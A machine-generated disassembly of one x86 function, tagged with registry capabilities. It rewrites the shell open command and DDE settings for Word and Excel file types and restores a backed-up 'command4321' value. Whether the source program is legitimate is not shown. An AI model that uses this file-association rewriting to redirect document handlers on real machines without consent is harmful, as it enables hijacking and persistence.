Function at 0x4131a0
Capabilities:
Delete registry value
Query or enumerate registry value
Resolve function by parsing pe exports
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x4691bb
mov eax, dword fs:[0]
push eax
sub esp, 0x45c
mov eax, dword [0x4896a0]
xor eax, esp
mov dword [esp + 0x458], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4896a0]
xor eax, esp
push eax
lea eax, [esp + 0x470]
mov dword fs:[0], eax
call fcn.0042fb43
xor ecx, ecx
xor ebx, ebx
cmp eax, ebx
setne cl
cmp ecx, ebx
jne 0x4131f7
push 0x80004005
call fcn.00402930
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x1c], eax
push 0x3ff
lea ecx, [esp + 0x71]
push ebx
push ecx
mov dword [esp + 0x484], ebx
mov byte [esp + 0x78], bl
call fcn.00449a70
add esp, 0xc
push str..doc
lea ecx, [esp + 0x60]
mov dword [esp + 0x24], 0x400
call fcn.00403c70
push str..docx
lea ecx, [esp + 0x64]
mov byte [esp + 0x47c], 1
call fcn.00403c70
push str..xls
lea ecx, [esp + 0x68]
mov byte [esp + 0x47c], 2
call fcn.00403c70
push str..xlsx
lea ecx, [esp + 0x6c]
mov byte [esp + 0x47c], 3
call fcn.00403c70
mov byte [esp + 0x478], 4
mov dword [esp + 0x30], ebx
lea ebp, [esp + 0x5c]
lea ecx, [ecx]
push ebp
lea ecx, [esp + 0x20]
call fcn.004037f0
mov eax, dword [esp + 0x1c]
lea edx, [esp + 0x14]
push edx
push 0x20019
push ebx
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ecx, dword [esp + 0x14]
cmp eax, ebx
je 0x4132c9
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4138af
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0x70]
push eax
push ebx
push ebx
push 0x46db5c
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp + 0x14]
push edx
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp esi, ebx
jne 0x4138af
push str._shellOpen
lea ecx, [esp + 0x5c]
call fcn.00403c70
mov esi, eax
lea eax, [esp + 0x6c]
push eax
lea ecx, [esp + 0x38]
mov byte [esp + 0x47c], 5
call fcn.0040e600
push esi
push eax
lea ecx, [esp + 0x44]
push ecx
mov byte [esp + 0x484], 6
call fcn.004052b0
add esp, 0xc
push eax
lea ecx, [esp + 0x20]
mov byte [esp + 0x47c], 7
call fcn.004037f0
mov eax, dword [esp + 0x3c]
add eax, 0xfffffff0
mov byte [esp + 0x478], 6
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x41336d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x34]
add eax, 0xfffffff0
mov byte [esp + 0x478], 5
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413395
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x58]
add eax, 0xfffffff0
mov byte [esp + 0x478], 4
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4133bd
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
call fcn.0042fb43
xor ecx, ecx
cmp eax, ebx
setne cl
cmp ecx, ebx
je 0x4131ed
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
lea edi, [eax + 0x10]
mov dword [esp + 0x18], edi
push 0x46e8d8
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x4c]
push edx
mov byte [esp + 0x484], 8
call fcn.004038b0
mov eax, dword [eax]
add esp, 0xc
lea ecx, [esp + 0x14]
push ecx
push 0xf003f
push ebx
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
mov eax, dword [esp + 0x44]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x41343b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
cmp esi, ebx
jne 0x413632
push 0x400
lea ecx, [esp + 0x70]
push ebx
push ecx
mov dword [esp + 0x2c], 0x400
call fcn.00449a70
mov ecx, dword [esp + 0x20]
add esp, 0xc
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0x70]
push eax
push ebx
push ebx
push ebx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [esp + 0x6c]
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x413480
sub eax, edx
push eax
lea edx, [esp + 0x70]
push edx
lea ecx, [esp + 0x20]
call fcn.004033c0
mov esi, dword [esp + 0x18]
cmp dword [esi - 0xc], ebx
jl 0x413562
push 0x46f0d0
push esi
call fcn.0044c9aa
add esp, 8
cmp eax, ebx
je 0x4134fc
sub eax, esi
cmp eax, ebx
jle 0x4134fc
push eax
lea eax, [esp + 0x58]
push eax
lea ecx, [esp + 0x20]
call fcn.004035d0
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x47c], 9
call fcn.004037f0
mov eax, dword [esp + 0x54]
add eax, 0xfffffff0
mov byte [esp + 0x478], 8
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jmp 0x413556
cmp dword [esi - 0xc], ebx
jl 0x413562
push str.___1
push esi
call fcn.0044c9aa
add esp, 8
cmp eax, ebx
je 0x413562
sub eax, esi
cmp eax, ebx
jle 0x413562
push eax
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x20]
call fcn.004035d0
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x47c], 0xa
call fcn.004037f0
mov eax, dword [esp + 0x4c]
add eax, 0xfffffff0
mov byte [esp + 0x478], 8
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x413562
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [ebp]
push str..doc
push eax
call fcn.0044a83e
add esp, 8
cmp eax, ebx
sete al
cmp al, bl
jne 0x4135c5
mov eax, dword [ebp]
push str..docx
push eax
call fcn.0044a83e
add esp, 8
cmp eax, ebx
sete al
cmp al, bl
jne 0x4135c5
push 0x46f144
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x40]
push edx
call fcn.004038b0
add esp, 0xc
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x47c], 0xc
call fcn.004037f0
mov eax, dword [esp + 0x38]
jmp 0x4135f2
push str.__n__dde
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x48]
push edx
call fcn.004038b0
add esp, 0xc
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x47c], 0xb
call fcn.004037f0
mov eax, dword [esp + 0x40]
add eax, 0xfffffff0
or edx, 0xffffffff
lea ecx, [eax + 0xc]
mov byte [esp + 0x478], 8
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413616
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov edi, dword [esp + 0x18]
mov eax, dword [edi - 0xc]
mov ecx, dword [esp + 0x14]
push eax
push edi
push 1
push ebx
push 0x46db5c
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x46e8d8
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x2c]
push ecx
call fcn.004038b0
add esp, 0xc
mov eax, dword [esp + 0x24]
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea edx, [esp + 0x14]
push edx
push 0xf003f
push ebx
push eax
push SysReAllocString
mov byte [esp + 0x48c], 0xd
call esi
cmp eax, ebx
jne 0x41371d
push 0x400
lea ecx, [esp + 0x70]
push ebx
push ecx
call fcn.00449a70
add esp, 0xc
lea edx, [esp + 0x20]
push edx
mov edx, dword [esp + 0x18]
lea eax, [esp + 0x70]
push eax
lea ecx, [esp + 0x50]
push ecx
push ebx
push str.command4321
push edx
mov dword [esp + 0x38], 0x400
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp eax, ebx
jne 0x41371d
mov eax, dword [esp + 0x14]
push str.command4321
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
lea ecx, [esp + 0x6c]
push ecx
lea ecx, [esp + 0x30]
call fcn.0040e600
mov eax, dword [esp + 0x2c]
mov ecx, dword [eax - 0xc]
mov edx, dword [esp + 0x48]
push ecx
push eax
mov eax, dword [esp + 0x1c]
push edx
push ebx
push str.command
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp + 0x2c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41371d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.ddeexec
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0x58]
push eax
call fcn.004038b0
add esp, 0xc
push eax
lea ecx, [esp + 0x28]
mov byte [esp + 0x47c], 0xe
call fcn.004037f0
mov eax, dword [esp + 0x50]
add eax, 0xfffffff0
mov byte [esp + 0x478], 0xd
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413779
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov edx, dword [esp + 0x24]
lea ecx, [esp + 0x14]
push ecx
push 0xf003f
push ebx
push edx
push SysReAllocString
call esi
cmp eax, ebx
jne 0x413858
call fcn.0042fb43
xor ecx, ecx
cmp eax, ebx
setne cl
cmp ecx, ebx
je 0x4131ed
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x28], eax
mov eax, dword [ebp]
push str..doc
push eax
mov byte [esp + 0x480], 0xf
call fcn.0044a83e
add esp, 8
cmp eax, ebx
sete al
cmp al, bl
jne 0x413808
mov eax, dword [ebp]
push str..docx
push eax
call fcn.0044a83e
add esp, 8
cmp eax, ebx
sete al
cmp al, bl
jne 0x413808
push str._open___1___
lea ecx, [esp + 0x2c]
call fcn.004039f0
jmp 0x413818
push 0x21
push str._REM__DDE_Direct__FileOpen___1___
lea ecx, [esp + 0x30]
call fcn.004033c0
mov esi, dword [esp + 0x28]
mov eax, dword [esi - 0xc]
mov ecx, dword [esp + 0x14]
push eax
push esi
push 1
push ebx
push 0x46db5c
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea eax, [esi - 0x10]
mov byte [esp + 0x478], 0xd
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x413858
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x24]
add eax, 0xfffffff0
mov byte [esp + 0x478], 8
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x41388b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea eax, [edi - 0x10]
mov byte [esp + 0x478], 4
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4138af
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x30]
inc eax
add ebp, 4
cmp eax, 4
mov dword [esp + 0x30], eax
jl 0x413290
push fcn.00402fe0
push 4
push 4
lea ecx, [esp + 0x68]
push ecx
mov byte [esp + 0x488], bl
call fcn.0044e0cc
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
mov dword [esp + 0x478], 0xffffffff
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x413909
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, 1
mov ecx, dword [esp + 0x470]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x458]
xor ecx, esp
call fcn.00449ba6
add esp, 0x468
ret